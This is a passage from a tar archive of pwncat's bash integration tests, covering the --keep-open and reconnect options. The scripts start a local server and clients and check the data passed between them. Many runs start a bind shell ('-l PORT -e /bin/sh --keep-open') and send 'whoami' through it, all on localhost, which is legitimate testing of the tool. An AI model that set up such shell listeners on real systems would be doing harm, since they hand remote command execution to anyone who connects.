test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/13) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(3/13) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: NO SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(4/13) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(5/13) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(6/13) Transfer: Client -> Server -> Client (round 2)" # [CLIENT -> SERVER -> Client] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(7/13) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(8/13) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(9/13) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(10/13) Transfer: Client -> Server -> Client (round 3)" # [CLIENT -> SERVER -> Client] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(11/13) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(12/13) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(13/13) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done 202---tcp---server_reacc---three_clients---server_command---cli_send-cli_send-cli_send.sh000077500000000000000000000343101414025024700423600ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/22-options---keep_open#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="whoami\\n" expect="$(whoami)\\n" expect_or="$(whoami)\\r\\n" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" cli2_stdout="$(tmp_file)" cli2_stderr="$(tmp_file)" cli3_stdout="$(tmp_file)" cli3_stderr="$(tmp_file)" ### ### ### Initial Server Start ### ### # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/14) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" ### ### ### ROUND-1 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/14) Start: Client (round 1)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/14) Transfer: Client -> Server -> Client (round 1)" # [CLIENT -> SERVER -> Client] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(4/14) Stop: Client (round 1)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(5/14) Test: Server stays alive (round 1)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" ### ### ### ROUND-2 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-2: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(6/14) Start: Client (round 2)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(7/14) Transfer: Client -> Server -> Client (round 2)" # [CLIENT -> SERVER -> Client] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(8/14) Stop: Client (round 2)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-2: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(9/14) Test: Server stays alive (round 2)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" ### ### ### ROUND-3 (SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-3: SEND] START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(10/14) Start: Client (round 3)" # Start Client print_info "Start Client" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server is still is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server still has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(11/14) Transfer: Client -> Server -> Client (round 2)" # [CLIENT -> SERVER -> Client] wait_for_data_transferred "" "${expect}" "${expect_or}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] STOP: CLIENT # -------------------------------------------------------------------------------- print_h2 "(12/14) Stop: Client (round 3)" # [CLIENT] Manually stop the Client action_stop_instance "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # [ROUND-3: SEND] TEST: Server stays alive # -------------------------------------------------------------------------------- print_h2 "(13/14) Test: Server stays alive (round 3)" run "sleep 2" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server is still running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" ### ### ### Final Server Shutdown ### ### # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(14/14) Stop: Server" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "Client" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "14" "${curr_round}" "${RUNS}" run_test "-l ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "8" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "11" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "13" "14" "${curr_round}" "${RUNS}" run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -e /bin/sh --keep-open -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/22-options---keep_open/README.md000066400000000000000000000001341414025024700237600ustar00rootroot00000000000000# Server `--keep-open` These tests ensure that the `--keep-open` option works as expected. pwncat-0.1.2/tests/integration/23-options---reconn/000077500000000000000000000000001414025024700220235ustar00rootroot00000000000000da0350d571eeb472f55e164e6b4f89fc7bb97443.paxheader00006660000000000000000000000255141402502470020531xustar00rootroot00000000000000173 path=pwncat-0.1.2/tests/integration/23-options---reconn/000---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_nosend-srv_send.sh da0350d571eeb472f55e164e6b4f89fc7bb97443.data000077500000000000000000000302701414025024700173720ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= local data_or= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="abcdefghijklmnopqrstuvwxyz1234567890\\n" data_or="abcdefghijklmnopqrstuvwxyz1234567890\\r\\n" srv1_stdout="$(tmp_file)" srv1_stderr="$(tmp_file)" srv2_stdout="$(tmp_file)" srv2_stderr="$(tmp_file)" srv3_stdout="$(tmp_file)" srv3_stderr="$(tmp_file)" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" ### ### ### 1/x START CLIENT (SEND DATA) ### ### # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(1/10) Start: Client (round 1)" # Start Client print_info "Start Client (sends data to Server)" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "" "" "" "" "(Connection refused)|(actively refused)|(timed out)" ### ### ### ROUND-1 START SERVER (NO SEND) ### ### # -------------------------------------------------------------------------------- # [ROUND-1 SRV-NOSEND] START: SERVER # -------------------------------------------------------------------------------- print_h2 "(2/10) Start: Server (round 1)" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv1_stdout}" "${srv1_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [CLIENT] Ensure Client is still is running test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" # [CLIENT] Ensure Client still has no errors test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # [ROUND-1: SRV-NOSEND] DATA TRANSFER # -------------------------------------------------------------------------------- print_h2 "(3/10) Transfer: Client -> Server (round 1)" # [CLIENT -> SERVER] wait_for_data_transferred "" "${data}" "${data_or}" "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # -------------------------------------------------------------------------------- # [ROUND-1]: SRV-NOSEND] STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(4/10) Stop: Server (round 1)" # [SERVER] Manually stop the Server action_stop_instance "Server" "${srv_pid}" "${srv1_stdout}" "${srv1_stderr}" "Client" "${cli_pid}" "${cli_stdout}" 